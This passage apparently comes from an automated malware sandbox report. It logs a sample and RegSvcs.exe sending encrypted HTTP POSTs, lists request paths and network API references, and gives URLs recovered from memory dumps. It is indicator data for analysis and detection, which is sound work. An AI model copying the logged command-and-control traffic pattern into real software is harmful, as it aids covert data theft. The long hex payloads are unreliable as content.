4ccf699aa03cc6d856bc6eb62e6dfbd63b49ba2cf369d8efa64a81d3b870dc3660fe1740391bb585191669d9564723a4ae16cd91332ec74cc714f2bf66732a79a278248f46c2b0733cdcf1900ad10026084bf789e22dd4c2ca7fd7e641c26e941f8f015bf6757c01e7f458dbb0215164e31b441dcb7c0c57ec059e4c1ca882cf78f0bd084d21a7d804f9e68ad80c047401aa5f40048eb4ae8e8bd6d1959c9b1e96296b6a34cb4ee093d" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a18790" "dwHeadersLength": "0" "lpOptional": "91d1467999beb1e73e03000044cdc26991f0629ca326cf4335e81fa243b0ee883f2057b1c475d489b222e6590c48311e7b78e9ed678d8b82c987f7382c91b73b5484a33d58f0d886bb4c89e5c97521c96b9982e5b1cac3026a570a91c83a0f623094c3b0a091b91a12c7ec08cdeeec4970000b80e58d76ffdb56d71f01ee63269f92014fba8cfd14d1728959bb77950ebc297715e6fea80bbb86a104edb5eabafec00f0cabd1ac89dd19420c3f07407ac423cc90b41052b24d459e500fc63d7845dfae7e26277c218a28d61c3cc3e7858352a9aa074e8376b40d7ac87e9612d6a86935faaca8ff9a25c686d87e00644410ded506b5735c7c90baa8735ca7917df42ad8df10e30fc3935209720054e87427c1c3d7edb07d33a786210f76fef1a25241a9f867ab54dcdf5ba15cee952f4c064749f7cd5b779effd394c749e28c5008222c463ccbb953f07b926e480f1768914cc6ec618aeca7db6421a003180c6d056a27d66a8752e89eab5533c5da7a207d228b527fd014f1bd146894b0674945b071f9b7c32c1d3237bf7ddb68a400b782be54bace302d09f26417cccb9b148f9a6b0e56809e9d1cc704b1c76dcbfcf5b3c96405b57d0136b849d0b6651f5f1cba80484fccbdc22fb8a24e4bd0c7a59616eb2ea641e8e6ca86768d85fecff5072a4c95ef548f1cb47a5c690b78f3dab64ddfe2ac3ffc5816bb1a526ba4e29f597ab51e0708b260ec243c5b92e3c9a8a0147931174815b5218287ad34746afa18d4017841d075476840173be955c3d85d2c356136d2bdb6bfa4baa2d87202c7207341563531353377c73b43019799cf2b89809961759608349484ed74359128270a5d21f77b291101c56116d2f3f746d124fa747adb4f38ec4cd29982e9b862b70ac0a3524f2f5e8c754eb6d8502c540a4219a068fff3f912bb4a03fe834ab5510bb5a6fbb666fd68b4c3ee3751287bb47e59db6c19a777469c50aa11746180e62eaf06eb1c97e079aefc77c627e4a481bf130fb41b8e381528dc0f1e5ceaa8850ac9f1d170dc4443991e8ebbe68362167c6a52db514290c21296576fed943fdf88d3fbc2508e32a9219d5847640b1a8de357e19e4073972a10e73bf7ba6c753bf28eb1f101db2b2cef347c015b2cfa62604c783f2007df0065e5070176f61ab9e1703089d8da2f92a678" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "9b8a80" "dwHeadersLength": "0" "lpOptional": "827caf6251a2c6c53e030000e7be75a9989131e9368ba79761b8bc02609d2d43b9b9e746a9ed39fc096ad2115a0a0712139c23c99b693fb3a6eacd118e8215b652afb024e97161ec53f5f83c9c70cd16510f5325436d479acce8ac3766311908a03d32b500e44b68ce219c06ac6e5b3a655660a557500f7254bbe681e786bab67181b8ef837b697b060aaad811c465ab6b2babaa58c6c44adbceabfcf28e2a86ab2ab0c7a37bfc0f4398f2d749ab9b7f3df140fa9bf1c6e123eff37fee086865907f887929ee2a696d180ca53eb97a3e7f41d07d5d9d5bd1562f9990d2396609d498af6eb65dc4d080adda0ab39c82402ef0e2eb668c746cba8c841634b28f1b8f9fac717a19e1f2360103168c463b7eda6b230abb35f39ad4c0925a703906ce113b6c10e2c06a6400bdcbe7b5bd1b9eda3b35878d30f90a9dae20d5a6f176b6c2fde567b01b1384007365d9b06da56579e4b1c6d765d2eec6b31ba5308d968ec6fd2120f94cdec2d516ea192849337a2b48a7ca0ad72bdb9cfece94dc369cc3eef52f6b20578709ed86fd4b1de8d17716c2ebdb2727aaaa520d959a3ec3059f5ed68a4181ecfe3b1227edb6bb61fc73264c7d878e430d145cf1a4cd41419b7ad6bad063d415c65b571775e70d82c58459fe347b997162727dbce0d513fb5d3a287e383711604b8631495755f5b7e0e31dfe81f2cb32d6b449b1a94ea3769faf994d9c9d2f9d50c7eeffc6e5161166a3d8ce4a35806119faae5b551af077384deacfa5df98262030fabe93b18e17ff28884d0a860d5715d41f80af0dfd32c7e2fc9a682d3229d3ab7a3fcb2a5276edfe20ffa4a1d926e874fb72edc7f9f1627c8869789c11c3ce433a44adf6909ca328b0b2134cad3900d8f725da7a8dcdad59b334d842437b4c55223abecdec3dcee7e5a5b1d82badd1718b2065933d0711838bffd79ebb59f977b6d8ac9cea7940baa1dcbfef2e185f3eb8555db1c73e51c21a4475123d10af76fbf901dd2fa99cbdf7a341bb6f5c4e1e7d5844e80d7a1b569459ced109b27764b7e28bd12249051bdb8718aa80a8375b276d632eedbc224dba763ff0dcd92f1494ec81a142dc8b262766d61d4260dbd304d8cb494c22026e04a0570b9be416285cbd074c8a0d3708ca48e9d2967cb8c87bb6e09680e992bb951524edcd2ac8fa94a9" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a181f0" "dwHeadersLength": "0" "lpOptional": "d3a551d7d0b44ca83e03000047257f1547e9d86d9c6eaa344825499dee564689b6c5e8c6c35349fc6cd67197501487c39c9847df6d7227e87fbd89f996d97ec71b40a99523c12b3195a7722659a82ccab830806d58a816aebcd31a43879e55cf08e433b77eb0c5dc205392858bb69ef657030a52f263e9e20660c107cdfae487dfc195369d536dd3d7e4f4eb783928c938b6d7961ad5425541c9b7d3ce69ae711bbd84efd899041b1163abfb0d5c8a255be73b3088bb978433787ddd8fc0bf01796b08ee6df9e3163c0b5c58b62f46576cc4b8d2890da5aa1c43fd02c172544c99a8b5b3aa4a488f17254f54b1384e53f8f010a6e7c71e53bbf81c497a8e8764faf11906a55198f175f71ffd880fd323631b5693a478b9e4b165124a48ea4bc5c84d44c2297b52e16177fca4ba939003ea8d05d8b4197606e8cb501595ca9e2bf0bc702ef00019348c0428e1a551900d55ab39886cadd45c89ce7263552895320d35d4181261985406dc5bed960d320a5c0602aa1d1c3337538dea53d500b958a079aed72938f6e2678dac967a1061e9724f47fe58affe50f0f0faf6b95889b21b81381e9e01e0bc49be4ca0175eb87150b2e91addb8c654f2f7ef6dc4a489b2c570365f9b9647291b63e42652247c1fc1864c6ed064bef2bbb097a8fb11dc235e5b24d186ef1ac3da7966623b8940dca210176eb4c38fff385a573ed171e2f459e914f76064f54f604dcda0bb4a231f85131e09bc291a133e562aaab1f34030038086f3220d564cc2e88456bb9d6262ceaf58c6e513913ec3307f13de30749b194dcfdfd829b05e84ab1b3c89fd3267998f141c081fedca38265f604ca9b6d4d1ad59329d19a7e77a9cea851a6f29d27d80b0567db029d2e7f251b8daef0515dc06862dfa1731cbd22602a4dc37687c022363a90e8387eba82d00d18192b1a7c461ff5daed35ddb7b8653bd476f665f001a88434eb37fcf647e1b754ace7313cbc530b5e30d66dd98e6a2851ccd68b5fab8039c8087ec218a369cef03c5e957f04c0ad8c63acbe52b7c6fb57f3314fc0d761c4d731004314bf683fc2b08ee4a64e8ca3c6b6602f56849b41fe490f029cb02adafbd56423b56934daa12523a204699aa98c23e8c2e17e83285c01ea9ff9416ee09c5d053e07532b2e90dd2584fd8ce4d789d0ba5c3ec49" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a181f0" "dwHeadersLength": "0" "lpOptional": "da146a8a30d9fb723e030000b962b1584b1e9f28886a615c08d970b18851d11b13f4a744c64420747290140a903df0be7dc2a26a2a035098063846a546719d786048bef2320814a9cccd436f5591fe053fa94b5ddff3f263e020ae4e7b1b4b15afeb526c0783183e111a232b54d0062de7478de3bfe89491deb90586cd0f006a0ff1c2898fd65ed1d6e7bf36876a3f2d816b87a5e7dc45d016dc244c26d5a2b7d5d743a3af3d3f80e4c1fe10e55befe51558712262387e87b446bbbbebaf2fb8991a5b57cb81755d07867ff60754c90a9ce0887c4404fccaa2730b8e282deffe23cdba7d50fa2507921641fb3cbfc4f423764c147fb6d3273e18deda8464587cd5d1e501e7bc8cabd23e4c6e0c3d20967330c275eda1532e96ce1b61a03591dd0f13b2b8f2d0cb3a0136c7a9835aae6577a5237ad799edab334298bde392b83a225f4bba6bae428c264fd09b1f6ea5b914088dd24c4cfbd68c93cd20d827e0fc5a3286075b73f154c15bf35b6bb892db33c1c6ac75d8da79371cea32c627fcb53e639b80f31304b68f9156ecf8cc14e1ab33d275b2c05f1639f9da82e86e9f7713fac4d7d4ae31cc43cb53e793005812e470978fd6fbe8dea84fed1219b07fa841915f083a0b3db8a597102b3f3a7d05c082a007aba3a58c83711ad218179df8991bfe3774e09dba33b47afcf0c448de7dbe2fc41858e6911e7236e40c4c5d74911a8c19abe1f8d612efe005ee269b84032bd3f2c8cbc2e004e9c0c7a0f026f0adc67af7824e375797783e067791431bdec8ae2d28781ef8e6b06853e61da1b78b7a175e29f30ab2a41698fa1882aeb19d530ba8a548ec5a81d02739f66488de6c218887d0c569dafd521840287b3d349d413a49e0d2bbd50207e71361bd84ff6bcf6969575dbb747e124325fae0a7d262901951cdfd50a9245a875071129951fc15bf65a07bb21229b5849967b879927ef6fdc0bc8f28e7205e3a43bae8a6075a11356b729b0052889fc94ab1057f1bfaa6d1b2834a1ff210c90e18e0ebdeb3842e9813e1073490442d0ff540a3686d1b8f544f721bdefe1040fee6c4a6bcbdb0e7fd75440fc59f9581aa98d992c120fba3305fee08c045268d40f155a7612ba0ce6200d3b66f2db076738e1c85b3fffd13d82b121a57affe078249d4be066d7db30d12781b4b8a8cd7" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a181f0" "dwHeadersLength": "0" "lpOptional": "a6402d65321c62b63e030000daf7b123cd1aebe525c8340151245dda00701b3856d48446c7c63eb4785438c81d59a3a7a3cc166a717aa5cd2d2543846e355bfc57c7490e665cad595f09e0c29ac79855e9be7fd511af9cfdee73d8054763ce2917b63c23ef4c97f5b0fd76bcfddc4f0c67e11c4a42dcbae511e0d349fc63c2bf45959e9793b5e9f088a1a198089ea45ba9550fc1dbb7ab2f8302b4dbb683cce7273dd19aed38aade68a1722a280d5725647c8c74f2f0bf5f7ea14705ca9b3fa674880fcf55d35a44718050503c5bf748260313554e56882e785975e81946118cd8f5e5e08a38de7540aed5d7cd218e682fa6c31c6a76e529870911a3ffbf6294ac32af0215c56f75c8f079895f7c91e678df27233221986147c80dfb9a83278b60a4eb4e7fc0c6d1d958b1f45c91df285da4aa85a1934e65669844a0c713fcde118e25e864589ac4949364f3504d16565d30be2fc8968fb35a05fd044661bea2884dcb7ae5cd80a5b22fc7975cfae20afc415f3894e781484058bcc530b90d987a24f0e0d4d110068b19d7ee36cfc507a8fe3a01bdcfd66ee9f595a44be824ece65083b4dd95eede0d96af462f8700617ab03f4f6ee23b45c4c70017b9001808b82638824530a9f60e36dc367bf65b45ed264e5a208a2af56c39493e8353c9f392c71c068ef6a60a3116c1d46da9687cc3bbe192bdaff2eccc05bfe639e64f74ec4caaa6f53a8faa92927e2962ba4899250dfbd3df23902959bf8d3ed387edd91668af4dad14dd213613b4070247465bcbee4f48d89036bdffd7dc50be29c9c0a6b5df591dcfc62ffdccd336bc5dd393a3f56c6af6df8bcd613d76d8b10a9bdf2eab046bad4ad82bd8969cee32c8b9720598e676763d182a0854e56c7f902cded3b866f9b4a63c813051ee274916e1052747d6b7c4ae3625d6e13dac46ed0722985b6eee9d9944fcdab50353c26cb9aaed8411ad1feb598702bedfcd81e0a86f11a4b067fb78a1fbe3ef6ea6e6068c5202cf4497c50f4c4b850b728b7c20020d6046e04ad76946b443713dcf7be3bfe9dc24c34406a0061ed41f16a285a1b6af07b22969d1685f8b0470e2a13640e3ec4bbc5b2e856bc4f21173373bc80a93e572bf6735c2fbfa55810b9141de3e3a3744bff39cbf8b6c10fd067c5a64dcc805ff09940f20d59fa6cf1b" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"} "RegSvcs.exe" called "WinHttpSendRequest" with parameters {"hRequest": "a181f0" "dwHeadersLength": "0" "lpOptional": "124349daec5956fd3e03000098ed8543b97099a6ed17a2d4238865c023fc2b45e3da179754ec11e5ffa9d57b95054095431c4388a4d3c4001afc65138cad8167c656e302de59c33d50734d3db50e10922474963659a4fb25ad7935ac0641a77c1064e378fea4757a4efac296a77a3fd14e356eca3db1a79bf6ed1aea3903b15e0a1fca7c34dbc9e4910939386885eda7d0c956167c8c123685c14143551aefb94ec7d67ac8a841685f5442d91a8be80239c87f7a057f7d9154e883156c5254e0c8537e782276d7b649232381acc1965d452c4a4d98016fed0774fdcffe9bd422dbc0ef9701bc3f9e2e8f4f6ced86acea7a79d88e80669a02cc7ab910614c8e0df40cd1efc39e7f594cb94009b47a45975ce14a393e5746a2732895815fe7af7c50320a4a9445540d2c2041a8eb966c0c3e62ad8f6c94d86a6ae5a968ab02e4ea049081dddc548e5c57a16ac998e2c7df7a2bfa33f58082f6f8d8f5354a832d03745bc0dfae2122223aafb0f83704fe76feea35f07a134e7763aa02c0de2f97f5594a94550c5915cb46c31d58892eb6e4834251e269b46bbe000aaf01b070f0f7f261ffa5dc8af88230435ce3c1424fb39cb20765db8c582dffeca67416773146a1eabd14aeb052a1d96bc665a71bb6914afd82077615dd0923c1cb268c02c4e543dad36d02703ab9fdec647b6b3f4562afc5c8709f4b63338afb5baadf82a3afd9dba5921c68bce044d71722cab93db3dc26b3c70184cc192e38ee59e2743e9db5c4ac8acb9418a71cc33d1de68eeb86f51d3265cfab24d0fd738cff166e6fcd611ebc76506bb9398ef4a32c0a0921e26da8d5c5cfd23ab599c23c98adfb3f4b0866d258455c38a8fade815fd171611ae211098d215bf98bdc30c35f8bf17d6e7b49e217dd1011ed7a42c11f1cb4fda1796f8e70f1234d86cde8a03918a7c5c17bcacea2c9105e4c1a78a104225157e669898a448b2ef935d0bc73f128a22488fb861bf2ce4f4614bfe33b8de9ede9eaa603277ea20d08737adfe18b4da3887b52bbe052c27e1b12bc5b19ae0e4686071a61121f39e2da03ae0166b74736bc5305beee6d9560fe59b1a0c6c9b0760915f8684f053d6ef9596a9bf89c3a4a1d3032566c7d8b6ab74da4f1a8ef2b18420df9abb4531b049d1cf8cfb6a833ac3716b88dd7813118170d2119" "dwOptionalLength": "842" "dwTotalLength": "842" "dwContext": "0" "$error": "2ee2"}81:T6af,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "605c608" "lpReserved": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "604a2a8" "lpReserved": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "60768c8" "lpReserved": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "6084b30" "lpReserved": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "60a1220" "lpReserved": "0"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "60934a8" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "a18790" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "9b8a80" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "a181f0" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "9ba178" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "a1e428" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "9b4128" "lpReserved": "0"} "RegSvcs.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "a134b0" "lpReserved": "0"}82:T49a,Found http requests in header "POST /gmyq" Found http requests in header "POST /eenafjh" Found http requests in header "POST /xdn" Found http requests in header "GET /xdn" Found http requests in header "POST /grb" Found http requests in header "GET /grb" Found http requests in header "POST /vulouslgnlhitti" Found http requests in header "POST /m" Found http requests in header "POST /uxfbf" Found http requests in header "POST /x" Found http requests in header "POST /timgrnolbnjx" Found http requests in header "POST /ihsriapotht" Found http requests in header "POST /dwkfn" Found http requests in header "POST /vpual" Found http requests in header "POST /mturjkpfsf" Found http requests in header "POST /bdsk" Found http requests in header "POST /tcvvkmv" Found http requests in header "POST /mdfdfxgnrejf" Found http requests in header "POST /hhb" Found http requests in header "POST /jnkluegimqpt" Found http requests in header "POST /iqabmrerpvy" Found http requests in header "POST /piyuaqnwgrufdfb" Found http requests in header "POST /foaa" Found http requests in header "POST /iqacarhxjuaq" Found http requests in header "POST /xcdhyxqxurnkqb"83:T109a,Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00003968-00000C2B-76681642") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00003968-00000C2B-76682401") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "00004636.0000121C.35638715.00401000.wprm") Found reference to API "Windows(TM) - Component PPD License (Microsoft-Windows-InternetConnectionSharingConfig)" (Indicator: "InternetConnect"; Source: "00000000-00002944.00000001.74081.002A0000.00000004.mdmp, 00000000-00002944.00000002.76003.002A0000.00000004.mdmp") file/memory contains long string with (Indicator: "InternetConnect"; Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found reference to API "policyInt name="Microsoft-Windows-InternetConnectionSharingConfig-HomeNetICS" attributes="override-only">11h7qcefa6b689-7379-25d7-da8b-b36f7017a3c3_met6d100462-4497-56b0-950c-05d8eee1367ec7442d35-e1eb-0315-4c69-01c721d3d6ce4b433c17-419a-e5aa-353a-9b725e6c63c3da10322f-800d-e0a3-2f17-527da3105850b29dd9cb-4174-8d6f-392c-2b4fb06d584a42522255-8e29-d5c4-e084-44c37c36201887bdc5e7-0fdd-575b-60df-c239a92b7d3ba49f5fd9-13f9-5c9e-4857-d45dab4e9f6a512856e4-a78f-8492-4b77-a864510e9ee484205d3a-0bae-d479-f362-049d5eb16326b74444d7-8156-a6c2-bf3a-96a65a2870c83593439e-921a-48b6-2eab-7ddc0f538bbb685c9d95-d399-da54-ccf6-ebde5bef51718c5aeebc-1e71-f9e6-4eb2-9fcd391beeae_metpkeyconfiglicenseidprivatecertificateidmicrosoft" - Source: "00000000-00002944.00000001.74081.00F20000.00000004.mdmp") Found URL "http://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002944.00000001.74081.00F20000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=88340http://go.microsoft.com/fwlink/?linkid=88341msft:spp/notifications/api/getinformation/skusoftware\microsoft\windows" - Source: "00000000-00002944.00000002.76003.002A0000.00000004.mdmp") Found URL "http://licensing.microsoft.commsft:rm/algorithm/hwid/4.0http://licensing.microsoft.comclientissuancecertificateid:\windows\system32\sppobjs.dllmsft:sl/eul/generic/publicwindowscomponentlicensefilesizeclientissuancecertificateid:\windows\system32\dnsapi.dllmsft:rm/algorithm/pkey/2005clientissuancecertificateidwindowscomponentlicensefilenamewindowscomponentlicensefilenamehttp://licensing.microsoft.commsft:rm/algorithm/phone/1.0:\windows\system32\sspicli.dllmsft:sl/pl/generic/privatemsft:spp/taskscheduler/1.0x-nsmsft:spp/volume/services/kms/1.0:\windows\system32\clbcatq.dlle/14windowscomponentlicensefilenamemsft:sl/pl/generic/privatemsft:sl/pl/generic/privatewindowscomponentlicensefilesizemsft:sl/eul/generic/public%windir%\system32\spp\tokens\ppdlic\microsoft-windows-auxiliarydisplay-ppdlic.xrm-msplatfh7qcefa6b689-7379-25d7-da8b-b36f7017a3c3_met6d100462-4497-56b0-950c-05d8eee1367e31745652-42b3-9db0-f12a-3cfcbebb5ee7_metbfa8506f-7b5d-a5af-0f54-9a43e20f239970cd2329-1387-2dac-3b09-8e25fa9e8f7bc16abfd8-69cf-dc27-292a-4e91660dbcde71b44f39-9051-1b9a-5012-effa4e5442ff2578994c-3b32-c2ab-f8d4-a9e18301907d_metc7442d35-e1eb-0315-4c69-01c721d3d6ce730787a2-032e-635a-692c-0f9c7b1277534b433c17-419a-e5aa-353a-9b725e6c63c3d0beddea-5911-48e1-a226-486ba31c8d78_mete4daf208-1ebb-9632-b278-f4266c29924f_met495d01a9-57e4-d3f0-2910-61749bf34be53d0efc8f-9d2e-55ee-62c9-11c878444fa6_met2add1962-f370-4b57-b2ca-8886f5a5a629_metda10322f-800d-e0a3-2f17-527da310585002e340a0-8102-4819-54f1-bb16ca465e0e71b44f39-9051-1b9a-5012-effa4e5442ffb29dd9cb-4174-8d6f-392c-2b4fb06d584a40fb98b5-e944-cf67-59a2-c6774311bd9242522255-8e29-d5c4-e084-44c37c362018e95d7da5-1306-1f28-c135-71fd0eebcbd8a886ae4b-746f-4db1-af68-987f03ff7d55_met87bdc5e7-0fdd-575b-60df-c239a92b7d3ba49f5fd9-13f9-5c9e-4857-d45dab4e9f6a7d141cc8-75a1-5d14-1583-53c8065e7556_met7a1fff6a-caa0-43d8-97ec-846205c37912_met02e340a0-8102-4819-54f1-bb16ca465e0ee95d7da5-1306-1f28-c135-71fd0eebcbd8d8e04254-f9a5-4729-ae86-886de6aa907c_met512856e4-a78f-8492-4b77-a864510e9ee4566f32d9-f4ad-4e42-bd6e-2cb0790e1b24_metdd988d42-3935-2ce5-d88a-3d7d9fd5e283_met84205d3a-0bae-d479-f362-049d5eb163263f342e5f-06fe-41a4-8650-62f1c49eeb6b_met70cd2329-1387-2dac-3b09-8e25fa9e8f7bb74444d7-8156-a6c2-bf3a-96a65a2870c83593439e-921a-48b6-2eab-7ddc0f538bbb685c9d95-d399-da54-ccf6-ebde5bef51718c5aeebc-1e71-f9e6-4eb2-9fcd391beeae_met6b9b822b-3a52-cdf6-1a20-2c3ca2b44ad2_metc16abfd8-69cf-dc27-292a-4e91660dbcdebfa8506f-7b5d-a5af-0f54-9a43e20f2399ddf07116-61ed-e702-ecc3-407e2a93967c_metpkeyconfiglicenseidprivatecertificateidmicrosoft" - Source: "00000000-00002944.00000002.76003.00F20000.00000004.mdmp") Found URL "http://www.microsoft.com/drm/xrml2/sl/v2" - Source: "00000000-00002944.00000002.76003.00F20000.00000004.mdmp") Found URL "http://www.w3.org/2001/04/xmlenc" - Source: "00000000-00002944.00000002.76003.00F20000.00000004.mdmp") Found URL "http://licensing.microsoft.commetainfotypemetainfotypelicensemetainfotype=" - Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found URL "http://licensing.microsoft.commetainfotypemetainfotypelicense1-983e-d6ec3f16059ffileid99945589-5421-5837-dd86-948927a29ca3fileindexissuancecertificateid9508580c-068f-4ddf-b7b8-df89ac541bbclicensecategorymsft:sl/ppdlicensedescriptionwindows(tm)" - Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found URL "http://licensing.microsoft.commetainfotypemetainfotypelicenseda22eadd-46dc-4056-a287-f5041c852470_metwindows(tm)" - Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found URL "http://licensing.microsoft.commsft:sl/pl/generic/privatemsft:sl/eul/generic/publicclientissuancecertificateidwindowscomponentlicensefilenamewindowscomponentlicensefilesize:mpeg21:2003:01-rel-r-ns://licensing.microsoft.comttp://licensing.microsoft.comindows(r)" - Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found URL "http://licensing.microsoft.comecurity-spp-reserved-familympeg:mpeg21:2003:01-rel-r-nsttp://licensing.microsoft.commpeg:mpeg21:2003:01-rel-r-nswindowscomponentlicensefilesize2003:01-rel-r-ns2003:01-rel-r-ns:mpeg21:2003:01-rel-mx-ns9b6jsvtchfn4y5c=msft:sl/eul/generic/privatemsft:sl/eul/generic/public:mpeg21:2003:01-rel-r-ns://www.w3.org/2000/09/xmldsig" - Source: "00000000-00002944.00000002.76003.02390000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crlhttp://crl.comodoca.com/comodorsacodesigningca.crlriverfix" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://ocsp.comodoca.com/mfewtzbnmeswstajbgurdgmcgguabbssdxxdg447ymkrnpvviulv3rkbzqqukzfg%2f4pn%2buv5pmq4z%2fnms71jzhicehwrgmu63jxan1lebkeiddg%3dgreater" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "https://secure.comodo.net/cps0c<0:082http://crl.comodoca.com/comodorsacodesigningca.crl0th0f0>2http://crt.comodoca.com/comodorsacodesigningca.crt0$http://ocsp.comodoca.com0]54mioyxf'&" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://www.usertrust.com1utn-userfirst-object0151231000000z190709184036z0greater" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl05)0'0%http://ocsp.usertrust.com03$@@ha=\c^%9" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://ocsp.digicert.com0" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicertglobalrootca.crl071http://crl4.digicert.com/digicertglobalrootca.crl0=604020*0(https://www.digicert.com/cps0s6" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00003968.00000001.69471.00990000.00000004.mdmp") 